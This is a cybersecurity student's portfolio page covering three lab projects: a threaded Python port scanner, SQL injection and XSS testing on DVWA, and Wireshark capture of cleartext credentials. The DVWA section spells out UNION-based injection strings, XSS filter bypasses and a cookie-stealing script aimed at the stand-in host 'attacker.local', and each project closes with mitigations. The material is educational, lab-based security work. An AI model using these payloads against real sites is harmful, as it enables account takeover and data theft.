Open to internships & entry-level roles

Jaynil
Modi.

Cybersecurity Student  |  Aspiring Security Analyst

B.Tech Computer Science student with hands-on focus in network security, web application testing, and Linux-based environments. Builds and documents practical security labs using industry-standard tools including Nmap, Wireshark, and Burp Suite.

Actively practices vulnerability identification through CTF challenges and intentionally vulnerable application environments (DVWA, TryHackMe labs). Work is reproducible, documented, and GitHub-hosted.

Target roles: SOC Analyst, Security Analyst, Junior Penetration Tester.

View Projects Get in Touch
About

Background &
Focus Areas

Currently pursuing a B.Tech in Computer Science with a self-directed specialization in cybersecurity. Academic coursework covers data structures, operating systems, computer networks, and cryptography — supplemented by independent lab work that ties theory to practical security scenarios.

The approach is simulation-first: every concept is tested in a controlled lab environment before being documented. This includes spinning up intentionally vulnerable applications, capturing and analyzing live network traffic, and writing Python scripts for task automation and basic security tooling.

Security work is informed by the assumption that understanding attack mechanics is prerequisite to meaningful defense. Labs are designed around real vulnerability classes, not academic abstraction.

Network Security

Host discovery, port scanning, service enumeration, traffic capture and analysis. Working knowledge of TCP/IP stack behavior, common protocols, and how misconfigurations expose services.

Web Application Security

Testing for injection flaws, authentication weaknesses, and client-side vulnerabilities using DVWA and OWASP guidelines. Proficient with Burp Suite for intercepting and modifying HTTP traffic.

Cryptography Basics

Symmetric and asymmetric encryption principles, hashing algorithms, and common misuse patterns (e.g., MD5 for passwords, ECB mode block ciphers). Applied understanding via CTF crypto challenges.

Learning Methodology

CTF platforms (TryHackMe, PicoCTF), controlled lab environments (Kali Linux, DVWA), hands-on replication of documented CVEs, and structured write-up documentation for every completed exercise.

Skills

Technical Competencies

Programming
  • CMemory management, pointer arithmetic, buffer behavior — foundational for understanding low-level vulnerability classes
  • PythonScripting, task automation, socket programming, and building basic security utilities (port scanners, hash crackers)
Tools
  • NmapNetwork scanning — host discovery, port enumeration, OS detection, version fingerprinting using NSE scripts
  • WiresharkPacket capture and protocol analysis — filtering, following streams, inspecting headers, identifying anomalies
  • Burp SuiteHTTP interception proxy — modifying requests, running scanner modules, testing for injection and auth flaws
Systems & Networking
  • LinuxFile system navigation, permissions model (rwx/octal), process management, cron, bash scripting, log inspection
  • TCP/IPThree-way handshake, IP addressing, subnetting, ARP, ICMP — behavior at packet level, not just conceptual
  • DNS / HTTPResolution chain, record types, HTTP request-response cycle, status codes, headers, HTTPS and TLS basics
Cybersecurity Concepts
  • VAIdentifying and classifying weaknesses in systems using scanning tools and manual inspection within controlled lab environments
  • Pen Testing BasicsReconnaissance, scanning, exploitation workflow on intentionally vulnerable targets — no unauthorized testing
OWASP Top 10
A01
Broken Access Control
Users performing actions outside their intended privilege level due to missing authorization checks.
A02
Cryptographic Failures
Sensitive data exposed due to weak encryption, missing HTTPS, or insecure key storage.
A03
Injection
Untrusted data sent to an interpreter (SQL, OS, LDAP) allowing unintended command execution.
A04
Insecure Design
Architectural flaws that cannot be patched at the code level; require redesign of application logic.
A05
Security Misconfiguration
Default credentials, open cloud storage, unnecessary services, or verbose error messages left in production.
A06
Vulnerable Components
Using libraries or frameworks with known CVEs that are unpatched or out of maintenance.
A07
Auth Failures
Weak session tokens, missing brute-force protection, or improper credential storage enabling account takeover.
A08
Software Integrity Failures
Unsigned or unverified code and data (e.g., supply chain attacks, insecure CI/CD pipelines).
A09
Logging Failures
Absence of adequate audit logs prevents detection, alerting, and forensic analysis of security events.
A10
SSRF
Server-side request forgery allows attackers to induce the server to make requests to internal resources.
Projects

Security Lab Work

All projects are conducted in isolated lab environments. No unauthorized scanning or testing. Click each project to expand full methodology.

PROJECT 01
Python-Based Port Scanner
Custom network reconnaissance tool built from socket primitives
Python Networking Sockets Reconnaissance
+
Problem Statement

Network reconnaissance is the first stage of any security assessment. Before an attacker or a defender can evaluate exposure, they need to know which hosts are reachable and which services are listening. Understanding how port scanning works at the socket level — not just as a black-box tool — is foundational for both offensive and defensive roles. Nmap abstracts most of this; building a scanner from scratch exposes the underlying mechanics.

Objective
  • Build a functional TCP port scanner using Python's socket library without third-party scanning frameworks
  • Implement multi-threading to reduce scan time on wide port ranges
  • Add service banner grabbing to identify running application versions
  • Understand and demonstrate the TCP three-way handshake at code level
Tools & Technologies
  • Python 3 — socket, threading, queue modules
  • Kali Linux — execution environment
  • Local test VM (Metasploitable 2) — scan target
  • Wireshark — packet-level verification of scan behavior
Methodology
  1. Socket initialization: Create a raw TCP socket using socket.AF_INET, socket.SOCK_STREAM. Set a connection timeout (default 1 second) to prevent indefinite blocking on filtered ports.
  2. Connection attempt: Call socket.connect_ex(host, port) — returns 0 if the TCP handshake completes (port open), non-zero on refusal or timeout.
  3. Banner grabbing: On a successful connection, send an HTTP GET or empty payload, then call socket.recv(1024) to retrieve the service banner. Decode and strip the response.
  4. Threading: Divide the port range across N worker threads using a shared queue. Each thread pulls a port from the queue, attempts connection, logs result, and fetches the next port.
  5. Output: Write results to stdout and a JSON file with structure: {port, state, service_banner, timestamp}.
  6. Verification: Cross-check results against an Nmap scan of the same host. Validate open/closed state matches; compare banner data.
Execution (Code Excerpt)
import socket, threading, queue, json def scan_port(host, port, results): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) result = sock.connect_ex((host, port)) if result == 0: try: banner = sock.recv(1024).decode(errors='ignore').strip() except: banner = "N/A" results.append({"port": port, "state": "open", "banner": banner}) sock.close() def threaded_scan(host, ports, threads=100): q, results = queue.Queue(), [] for p in ports: q.put(p) def worker(): while not q.empty(): scan_port(host, q.get(), results) q.task_done() pool = [threading.Thread(target=worker) for _ in range(threads)] for t in pool: t.start() for t in pool: t.join() return results
Output / Results
Target: 192.168.56.101 (Metasploitable 2) Ports scanned: 1-1024 | Threads: 100 | Scan time: ~4.2s PORT STATE BANNER 21/tcp open 220 (vsFTPd 2.3.4) 22/tcp open SSH-2.0-OpenSSH_4.7p1 Debian 23/tcp open [Telnet negotiation bytes] 80/tcp open Apache/2.2.8 (Ubuntu) 3306/tcp open 5.0.51a-3ubuntu5

Observation: vsFTPd 2.3.4 is a well-known backdoored version (CVE-2011-2523). The scanner identified it via banner; this finding would trigger targeted follow-up in a real assessment.

Security Insight

Port scanning itself is not an attack — it is observation. The vulnerability is not in the scanning technique but in the services discovered. Running outdated, unpatched services (vsFTPd 2.3.4, OpenSSH 4.7) on network-accessible ports with no access control is the actual exposure. The scanner simply maps what is already visible.

Mitigation / Defense

Restrict externally reachable ports to only those required (principle of least exposure). Suppress or modify service banners to remove version information from unauthenticated access. Implement network-level firewall rules (iptables / nftables) to allowlist source IPs for management ports (22, 23, 3306). Update all running services to current supported versions. Monitor for scan traffic using IDS signatures for SYN-only sweep patterns.

PROJECT 02
Web Application Vulnerability Testing Lab
SQL injection and XSS exploitation on DVWA with documented attack chains
SQL Injection XSS Burp Suite DVWA OWASP A03
+
Problem Statement

Injection vulnerabilities remain consistently in the OWASP Top 3 despite being well-understood and preventable. The gap is not awareness but application: developers often fail to enforce input validation and parameterized queries consistently. Cross-site scripting persists for the same reason — insufficient output encoding. This lab replicates both vulnerability classes from first principles to build a tester's mental model of how they work mechanically.

Objective
  • Demonstrate SQL injection against login forms and GET/POST parameters to extract database contents
  • Demonstrate stored and reflected XSS to understand client-side execution mechanics
  • Use Burp Suite to intercept, modify, and replay HTTP requests during testing
  • Document each attack vector and its corresponding defense mechanism
Tools & Technologies
  • DVWA (Damn Vulnerable Web Application) — hosted on local Apache/PHP stack
  • Burp Suite Community — HTTP proxy, repeater, intruder
  • Kali Linux — attacker machine
  • Firefox with FoxyProxy — browser routing through Burp
  • MySQL — backend database targeted in SQLi tests
Methodology — SQL Injection
  1. Identify injection point: Submit ' (single quote) into the User ID field. Observe MySQL error message — confirms string is interpolated directly into a query.
  2. Determine column count: Use ORDER BY increments (1' ORDER BY 1--, then 2, then 3) until an error occurs. Column count = last successful ordinal.
  3. UNION injection: Construct a UNION SELECT to append a second query: 1' UNION SELECT null,database()-- — returns current database name in the output field.
  4. Enumerate tables: Query information_schema: 1' UNION SELECT table_name,null FROM information_schema.tables WHERE table_schema=database()--
  5. Extract credentials: Target the users table: 1' UNION SELECT user,password FROM users-- — retrieves MD5-hashed passwords. Identify hash type and attempt offline crack using a wordlist.
Methodology — Cross-Site Scripting (XSS)
  1. Reflected XSS: Submit <script>alert('XSS')</script> into the name parameter. Observe whether the script tag is reflected back unencoded and executes in the browser.
  2. Stored XSS: Submit the same payload into the comment/message field. Verify the payload persists in the database and executes for every user who loads the page containing that record.
  3. Cookie theft simulation: Replace the alert with <script>document.location='http://attacker.local/?c='+document.cookie</script> to demonstrate how an attacker would exfiltrate session tokens.
  4. Burp interception: Route all requests through Burp Suite. Use Repeater to test payload variations without resubmitting through the browser form each time.
  5. Filter bypass (medium security level): DVWA's medium level strips <script>. Test alternate vectors: <img src=x onerror=alert(1)> and event-handler injection to demonstrate that blocklisting tag names is insufficient.
Output / Results
SQLi — Extracted from users table: admin : 21232f297a57a5a743894a0e4a801fc3 (MD5: "admin") gordonb : e99a18c428cb38d5f260853678922e03 (MD5: "abc123") 1337 : 8d3533d75ae2c3966d7e0d4fcc69216b (MD5: "charley") XSS — Reflected payload executed: Payload: Result: Alert box displayed PHPSESSID=3f8a9d1bc7... Stored XSS: Payload persisted across page reloads. Cookie exfil request received at listener: GET /?c=PHPSESSID=3f8a9d1bc7;security=low HTTP/1.1
Security Insight

Both vulnerabilities exist because user-supplied input is treated as trusted data. In SQL injection, the input is concatenated directly into a query string, allowing structural modification of the query logic. In XSS, the input is reflected or stored and then rendered as HTML without encoding, allowing the browser to interpret it as executable code. These are fundamentally the same root cause: inadequate separation of data and instructions.

Mitigation / Defense

SQL Injection: Use parameterized queries or prepared statements in all database interactions — never string-concatenate user input into SQL. Apply least-privilege database accounts (application user should not have DROP or schema-access rights). Implement a WAF as a secondary layer, not a primary control.

XSS: HTML-encode all user-supplied output at render time using context-aware encoding (HTML body vs. attribute vs. JavaScript context require different encoders). Implement a strict Content-Security-Policy header to block inline script execution. Set HttpOnly and Secure flags on session cookies to prevent JavaScript access.

PROJECT 03
Network Packet Analysis with Wireshark
Protocol-level traffic inspection to identify credential exposure and attack patterns
Wireshark TCP/IP Protocol Analysis Credential Exposure
+
Problem Statement

Network traffic contains a significant amount of information about system behavior, active sessions, and in some cases, plaintext credentials. SOC analysts and network defenders rely on packet analysis to detect anomalies, investigate incidents, and understand attack timelines. This project builds the skill of reading raw pcap data — identifying protocol structure, filtering for relevant streams, and extracting meaningful forensic artifacts from captured traffic.

Objective
  • Capture live network traffic from a local lab environment using Wireshark
  • Analyze cleartext protocols (HTTP, FTP, Telnet) to extract transmitted credentials
  • Identify a simulated port scan pattern in packet data
  • Reconstruct an HTTP session using TCP stream following
  • Practice building display filters to isolate specific traffic classes
Tools & Technologies
  • Wireshark 4.x — packet capture and analysis
  • Kali Linux + Metasploitable 2 — lab network (host-only adapter)
  • FTP, HTTP, Telnet — cleartext protocols used in controlled tests
  • Nmap — used to generate recognizable scan traffic for analysis
  • tshark — CLI-based filtering and extraction for specific exercises
Methodology
  1. Interface selection and capture filter: Launch Wireshark, select the virtual interface connected to the lab network. Apply capture filter host 192.168.56.101 to reduce noise and limit capture to target traffic only.
  2. FTP credential extraction: Initiate an FTP login to the target from a second terminal. Apply display filter ftp. Locate the USER and PASS commands in the packet list — these transmit in plaintext. Verify username and password are directly visible in the packet payload field.
  3. HTTP session reconstruction: Browse to the target's HTTP service. Apply filter http.request.method == "POST" to isolate form submissions. Right-click a relevant packet → Follow → TCP Stream. View the full HTTP request including POST body containing form field data.
  4. Port scan identification: Run an Nmap SYN scan against the target. In Wireshark, filter tcp.flags.syn==1 && tcp.flags.ack==0 to display SYN-only packets. Observe the pattern: rapid sequential SYN packets to incrementing port numbers from one source IP — characteristic scan signature.
  5. Telnet credential capture: Initiate a Telnet session. Filter telnet. Note that each keypress is transmitted as an individual packet. Use Follow TCP Stream to reconstruct the full session including login credentials and commands entered.
  6. Artifact documentation: Export relevant packets as a filtered pcap file. Write analysis notes referencing packet numbers, timestamps, source/destination pairs, and extracted data for each finding.
Output / Results
Finding 1 — FTP Cleartext Credentials Packet #47: USER msfadmin Packet #49: PASS msfadmin Protocol: FTP-DATA | Source: 192.168.56.102 | Dest: 192.168.56.101:21 Finding 2 — HTTP POST Body (Login Form) Reconstructed stream segment: POST /dvwa/login.php HTTP/1.1 username=admin&password=password&Login=Login Finding 3 — Port Scan Signature Packets #120–#350: SYN flood to ports 1–1024 Source: 192.168.56.102 | Rate: ~230 packets in 1.1 seconds Pattern: Sequential port increment, RST responses on closed ports Finding 4 — Telnet Session Reconstruction Login: msfadmin / msfadmin Commands executed: whoami, uname -a, cat /etc/passwd
Security Insight

Cleartext protocols (FTP, Telnet, HTTP without TLS) expose credentials and session content to any host that can observe the network path — whether that is via ARP poisoning on a local segment, a compromised network device, or an insider position. The data is not hidden; it is simply in transit. This exercise demonstrates that encryption is not an optional enhancement — it is the baseline control for any communication carrying sensitive data.

Mitigation / Defense

Replace FTP with SFTP or FTPS; replace Telnet with SSH; enforce HTTPS on all web applications. On internal networks, implement 802.1X port authentication to restrict unauthorized devices from tapping switch segments. Use network monitoring tools (Zeek, Suricata) to alert on cleartext credential patterns and anomalous scan traffic. Disable cleartext management protocols entirely at the device/OS level where feasible.

Work Proof

GitHub Repositories

All project work is hosted publicly on GitHub. Each repository follows a consistent documentation standard so that work is reproducible and reviewable by anyone evaluating this portfolio.

/>

Source Code

Every project includes the full, commented source code. Python scripts are structured with clear function separation and inline documentation explaining security-relevant logic decisions.

##

README Documentation

Each repository contains a detailed README covering: setup instructions, tool requirements, execution steps, expected outputs, and a brief explanation of the vulnerability or concept demonstrated.

[]

Screenshots & Evidence

Terminal output, Wireshark captures, Burp Suite intercepts, and tool results are captured and stored in a dedicated /screenshots directory within each repository.

!!

Write-ups

For each project, a structured write-up in Markdown covers the problem, methodology, findings, and mitigations — formatted for readability and usable as a reference during technical interviews.

~~

CTF Write-ups

Completed CTF challenge write-ups (PicoCTF, TryHackMe) are documented with step-by-step solution breakdowns, covering categories: web, crypto, forensics, and binary exploitation basics.

**

Lab Environment Notes

Virtual machine configurations, network topology diagrams, and tool version details are included so any evaluator can reproduce the exact lab environment used for each project.

https://github.com/jaynilAimer Request specific repository links
Learning & Development

Ongoing Training

CTF Platforms

TryHackMe

Actively completing rooms across tracks: Pre-Security, Jr Penetration Tester, SOC Level 1. Focus on hands-on lab environments rather than video-only content.

PicoCTF

Completed challenges in web exploitation, cryptography, and forensics categories. Each solved challenge is documented with a write-up in the GitHub repository.

HackTheBox (Starting Point)

Working through introductory machines to build familiarity with the HTB platform and enumeration-to-foothold workflow in a more open-ended format than guided rooms.

Self-Practice Labs

DVWA (Damn Vulnerable Web Application)

Local instance used to practice all OWASP Top 10 categories across low, medium, and high security levels. Current status: SQLi, XSS, CSRF, File Inclusion completed.

Metasploitable 2

Intentionally vulnerable Linux VM used as a scanning and exploitation target for port scanner testing, Wireshark analysis, and basic service enumeration exercises.

Linux CLI Practice

Daily use of Kali Linux as the primary working environment. Practice includes file permission manipulation, bash scripting, process inspection, and log file analysis.

Certifications (In Progress)

CompTIA Security+ (Studying)

Self-studying using Professor Messer's free course materials and practice exams. Target exam date: [Month, Year]. Topics covered: threats, vulnerabilities, architecture, implementation, governance.

TryHackMe — Jr Penetration Tester Path

Structured learning path covering reconnaissance, web application testing, network exploitation, and basic privilege escalation. Current completion: ~60%.

Reference Material

OWASP Testing Guide (OTG)

Used as the primary reference for web application testing methodology. Each test case in the DVWA lab maps to a corresponding OTG section.

NIST SP 800-115

Technical guide for information security testing — referenced for understanding assessment planning, execution phases, and reporting structure used in professional engagements.

CVE Database & NVD

Regularly reviewed to understand real vulnerability disclosures. Practice involves reading CVE descriptions and attempting to understand the technical root cause and exploitation method.

Contact

Get in Touch

Available for internships, entry-level security roles, and collaborative CTF practice. GitHub is the best place to review work directly. Response time for email inquiries: within 24 hours on weekdays.

Location: Vadodara , Gujarat  |  Freelance Developer (Python / Web [Frontend , Backend ] ) | Remote | Available Part-Time